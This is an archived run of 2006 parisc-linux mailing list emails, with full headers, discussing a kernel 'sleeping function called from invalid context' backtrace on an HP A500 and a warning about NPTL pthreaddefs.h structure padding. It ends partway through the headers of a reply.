	b=Et8gi0jC3j7YlSNn9n3d4tzFVJaYZrlcCDdh1RMi3dFwh11axRxezz3MNiKc750tQd7aNy+lLX4TfylWla2Nb6qDMzhvnn0gO58RmSN/lnFsY1VDzf3jH6Mlkl2EjaxzJkLARyRKDb+1vDAgExBU8uV0Mh5TpIWhfRo+j77Z3mk=
Original-Received: by 10.78.195.9 with SMTP id s9mr1144318huf;
	Mon, 17 Jul 2006 14:15:49 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 14:15:49 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 7494f5271cb464f7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LMmIcDk/f2I/+IicY2xojpNwdWxlcxZH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23802

parisc,

I reset the GSP on my A500 during a heavy-load situation while the
A500 was building glibc. I noticed the following on the console:

Debug: sleeping function called from invalid context at mm/slab.c:2096
in_atomic():1, irqs_disabled():1
Backtrace:
          k+0x18/0x28
 [<0000000010146950>] __might_sleep+0x110/0x128
 [<000000001019ae70>] kmem_cache_alloc+0x110/0x118
 [<0000000010114c88>] show_stack+0x80/0xf0
 [<0000000010114af0>] dump_stack+0x18/0x28
 [<0000000010186750>] __report_bad_irq+0x50/0x118
 [<0000000010186904>] note_interrupt+0xac/0x160
 [<0000000010185398>] __do_IRQ+0x368/0x498
 [<0000000010116c7c>] do_cpu_irq_mask+0xc4/0x118
 [<0000000010107074>] intr_return+0x0/0x14

Backtrace:
 [<0000000010114af0>] dump_stack+0x18/0x28
 [<0000000010186750>] __report_bad_irq+0x50/0x118
 [<0000000010186904>] note_interrupt+0xac/0x160
 [<0000000010185398>] __do_IRQ+0x368/0x498
 [<0000000010116c7c>] do_cpu_irq_mask+0xc4/0x118
 [<0000000010107074>] intr_return+0x0/0x14
kernel/irq/handle.c:126:
spin_lock(kernel/irq/handle.c:000000001068a2a8) already3

handlers:
[<00000000106bd8e0>] (interrupt_stack+0x298e0/0x3fae0)
Disabling IRQ #69
kernel/irq/handle.c:169:
spin_unlock(kernel/irq/handle.c:000000001068a2a8) not ld
---

It's a bit garbled from the serial console I had open at the moment.
The box *did not* crash.

Any clue why this bug is there?
This kernel is 2.6.13-rc3-pa0, so I should probably upgrade, and
attempt to reproduce.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] My a500 reported a bug during gsp reset (Good dump)
Date: Mon, 17 Jul 2006 17:19:31 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <119aab440607171419h26cb2aa5ide166b94dbf94796@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624126 20157 80.91.229.3 (22 Nov 2014 02:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:06 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2006 21:19:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 17 Jul 2006 23:19:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 31B587D69E;
	Mon, 17 Jul 2006 15:19:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26219-01; Mon, 17 Jul 2006 15:19:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D9627D6A0;
	Mon, 17 Jul 2006 15:19:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B24A7D699
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:19:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25830-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:19:33 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by free.linux.hp.com (Postfix) with ESMTP id BC8497D698
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:19:32 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id q29so14926nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 14:19:31 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=OVY/w8ws2Z1KlcV2bm2yREvHFCal4KfyEPtgQ9HIaEYtvgES5V62c0G73O620nkqX7rE2zLJl8NVXRiOEkXV069uzKQUkElUgoP/qKmsajD2srQYIqe7H2kysittS0jnaIxxgvvld583b583QJVfy3kdXh14QQuAzdn5Mkhi+NY=
Original-Received: by 10.78.167.12 with SMTP id p12mr1150365hue;
	Mon, 17 Jul 2006 14:19:31 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 14:19:31 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 78762e26406a52dd
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 28yCfAItYW0+truGbmZpz9d0amthc9sY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23803

Here is the clean dump from logs:
---
irq 69: nobody cared (try booting with the "irqpoll" option)
Debug: sleeping function called from invalid context at mm/slab.c:2096
in_atomic():1, irqs_disabled():1
Backtrace:
 [<0000000010114af0>] dump_stack+0x18/0x28
 [<0000000010146950>] __might_sleep+0x110/0x128
 [<000000001019ae70>] kmem_cache_alloc+0x110/0x118
 [<0000000010114c88>] show_stack+0x80/0xf0
 [<0000000010114af0>] dump_stack+0x18/0x28
 [<0000000010186750>] __report_bad_irq+0x50/0x118
 [<0000000010186904>] note_interrupt+0xac/0x160
 [<0000000010185398>] __do_IRQ+0x368/0x498
 [<0000000010116c7c>] do_cpu_irq_mask+0xc4/0x118
 [<0000000010107074>] intr_return+0x0/0x14

Backtrace:
 [<0000000010114af0>] dump_stack+0x18/0x28
 [<0000000010186750>] __report_bad_irq+0x50/0x118
 [<0000000010186904>] note_interrupt+0xac/0x160
 [<0000000010185398>] __do_IRQ+0x368/0x498
 [<0000000010116c7c>] do_cpu_irq_mask+0xc4/0x118
 [<0000000010107074>] intr_return+0x0/0x14
kernel/irq/handle.c:126:
spin_lock(kernel/irq/handle.c:000000001068a2a8) already locked by
kernel/irq/handle.c/173

handlers:
[<00000000106bd8e0>] (interrupt_stack+0x298e0/0x3fae0)
Disabling IRQ #69
kernel/irq/handle.c:169:
spin_unlock(kernel/irq/handle.c:000000001068a2a8) not locked
---

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My a500 reported a bug during gsp reset (Good dump)
Date: Mon, 17 Jul 2006 17:26:12 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <1153171572.3704.8.camel@mulgrave.il.steeleye.com>
References: <119aab440607171419h26cb2aa5ide166b94dbf94796@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624126 20160 80.91.229.3 (22 Nov 2014 02:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:06 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2006 21:27:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 17 Jul 2006 23:27:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C13297D6A0;
	Mon, 17 Jul 2006 15:27:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26219-09; Mon, 17 Jul 2006 15:27:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B1BF7D6A9;
	Mon, 17 Jul 2006 15:27:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 459EF7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:27:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26219-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:27:20 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 06EF57D699
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:27:19 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k6HLRHY13646; Mon, 17 Jul 2006 17:27:17 -0400
In-Reply-To: <119aab440607171419h26cb2aa5ide166b94dbf94796@mail.gmail.com>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9TKLc+FdbGI0oKaDYmRn47FncmZ1Zhwr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23804

On Mon, 2006-07-17 at 17:19 -0400, Carlos O'Donell wrote:
> Here is the clean dump from logs:
> ---
> irq 69: nobody cared (try booting with the "irqpoll" option)
> Debug: sleeping function called from invalid context at mm/slab.c:2096
> in_atomic():1, irqs_disabled():1
> Backtrace:
>  [<0000000010114af0>] dump_stack+0x18/0x28
>  [<0000000010146950>] __might_sleep+0x110/0x128
>  [<000000001019ae70>] kmem_cache_alloc+0x110/0x118
>  [<0000000010114c88>] show_stack+0x80/0xf0
>  [<0000000010114af0>] dump_stack+0x18/0x28
>  [<0000000010186750>] __report_bad_irq+0x50/0x118
>  [<0000000010186904>] note_interrupt+0xac/0x160
>  [<0000000010185398>] __do_IRQ+0x368/0x498
>  [<0000000010116c7c>] do_cpu_irq_mask+0xc4/0x118
>  [<0000000010107074>] intr_return+0x0/0x14

That's a bug in parisc show_stack ... it has a kmalloc GFP_KERNEL in it.

> Backtrace:
>  [<0000000010114af0>] dump_stack+0x18/0x28
>  [<0000000010186750>] __report_bad_irq+0x50/0x118
>  [<0000000010186904>] note_interrupt+0xac/0x160
>  [<0000000010185398>] __do_IRQ+0x368/0x498
>  [<0000000010116c7c>] do_cpu_irq_mask+0xc4/0x118
>  [<0000000010107074>] intr_return+0x0/0x14
> kernel/irq/handle.c:126:
> spin_lock(kernel/irq/handle.c:000000001068a2a8) already locked by
> kernel/irq/handle.c/173
> 
> handlers:
> [<00000000106bd8e0>] (interrupt_stack+0x298e0/0x3fae0)
> Disabling IRQ #69
> kernel/irq/handle.c:169:
> spin_unlock(kernel/irq/handle.c:000000001068a2a8) not locked

What's on IRQ69?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My a500 reported a bug during gsp reset (Good dump)
Date: Mon, 17 Jul 2006 18:35:32 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <119aab440607171535m76f159fej192f55bad4ab843@mail.gmail.com>
References: <119aab440607171419h26cb2aa5ide166b94dbf94796@mail.gmail.com>
	<1153171572.3704.8.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624126 20164 80.91.229.3 (22 Nov 2014 02:42:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:06 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2006 22:35:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 18 Jul 2006 00:35:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 267467D6C9;
	Mon, 17 Jul 2006 16:35:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26922-01; Mon, 17 Jul 2006 16:35:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2138F7D6BB;
	Mon, 17 Jul 2006 16:35:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7ED3D7D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 16:35:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26518-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 16:35:34 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.184])
	by free.linux.hp.com (Postfix) with ESMTP id 2BD927D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 16:35:34 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id q29so33858nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:35:32 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=rMhzeSyfz1KgfH1RNTx/3z/wQDg+cJAKV8bsi1DBCZXTJWP2Kk8MHbbY9Vej1sr1304tNL2OqBCX9jSYJD0mrdpX2W/l4nGniGWMffWJ7XclFCwuG4Ass3aBnud2Trh58YPbC3mCNm+UN92v7IHV57AiXv9BzWlGSTot2rEObR4=
Original-Received: by 10.78.139.5 with SMTP id m5mr1174896hud;
	Mon, 17 Jul 2006 15:35:32 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 15:35:32 -0700 (PDT)
In-Reply-To: <1153171572.3704.8.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: 4ed2f0d8400846e3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +SePcHdqf2I/+IicY2xo2ixwdWxlc1b2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23805

On 7/17/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
>
> What's on IRQ69?
>

           CPU0
 64:   10891024             CPU  timer
 65:      78367  IO-SAPIC-level  eth0
 66:         33  IO-SAPIC-level  sym53c8xx
 67:      94746  IO-SAPIC-level  sym53c8xx, sym53c8xx
 68:      14573  IO-SAPIC-level  sym53c8xx
 69:     200051  IO-SAPIC-level  serial

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A warning about NPTL pthreaddefs.h
Date: Mon, 17 Jul 2006 18:37:58 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440607171537p25d0350he9aa937c439c428a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624127 20165 80.91.229.3 (22 Nov 2014 02:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:07 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2006 22:38:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 18 Jul 2006 00:38:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2F1E7D6C9;
	Mon, 17 Jul 2006 16:38:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26933-08; Mon, 17 Jul 2006 16:38:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E0D947D6CA;
	Mon, 17 Jul 2006 16:38:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 565D37D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 16:38:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26922-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 16:38:00 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190])
	by free.linux.hp.com (Postfix) with ESMTP id 027707D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 16:37:59 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id m18so32424nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jul 2006 15:37:58 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=EzNes1ZjiepTXP6S78N7s8N6Fpej9nvyuUQ8AXSkRNC0v/9xDVANNzOUJKlswjnlzyK1l2PZwg0k9UYILPu+sqQUfxARWzviz6WhreLj+x8mOTqmVYixLMKo7OeG3OHao6KiJr9XOHPA+JdLqqY8aXbnJbTbeQFZj6S9MHqy/VQ=
Original-Received: by 10.78.151.15 with SMTP id y15mr1174279hud;
	Mon, 17 Jul 2006 15:37:58 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Mon, 17 Jul 2006 15:37:58 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 6b6fd5fb26654a36
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aiOFcQ9VeWU7sreUfHVzkUM5U3U4Nw89
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23806

Randolph,

A warning that the pthreaddefs.h might be horribly wrong. I remember a
long while ago adding padding the structures so they matched the size
of the linuxthread types (atleast the lock position).

This padding is not correct, we would need to pull into our tree the
static mutex initializers so they are correctly sized aswell.

If you look at the build logs there are warnings about this.

I'm trying a build with the lock padding removed, but it still fails
all over the place, but atleast this time there are no apparent
deadlocks!!! Yay!

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: A warning about NPTL pthreaddefs.h
Date: Tue, 18 Jul 2006 08:19:12 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <44BC2900.4030303@tausq.org>
References: <119aab440607171537p25d0350he9aa937c439c428a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624127 20166 80.91.229.3 (22 Nov 2014 02:42:07 GMT)
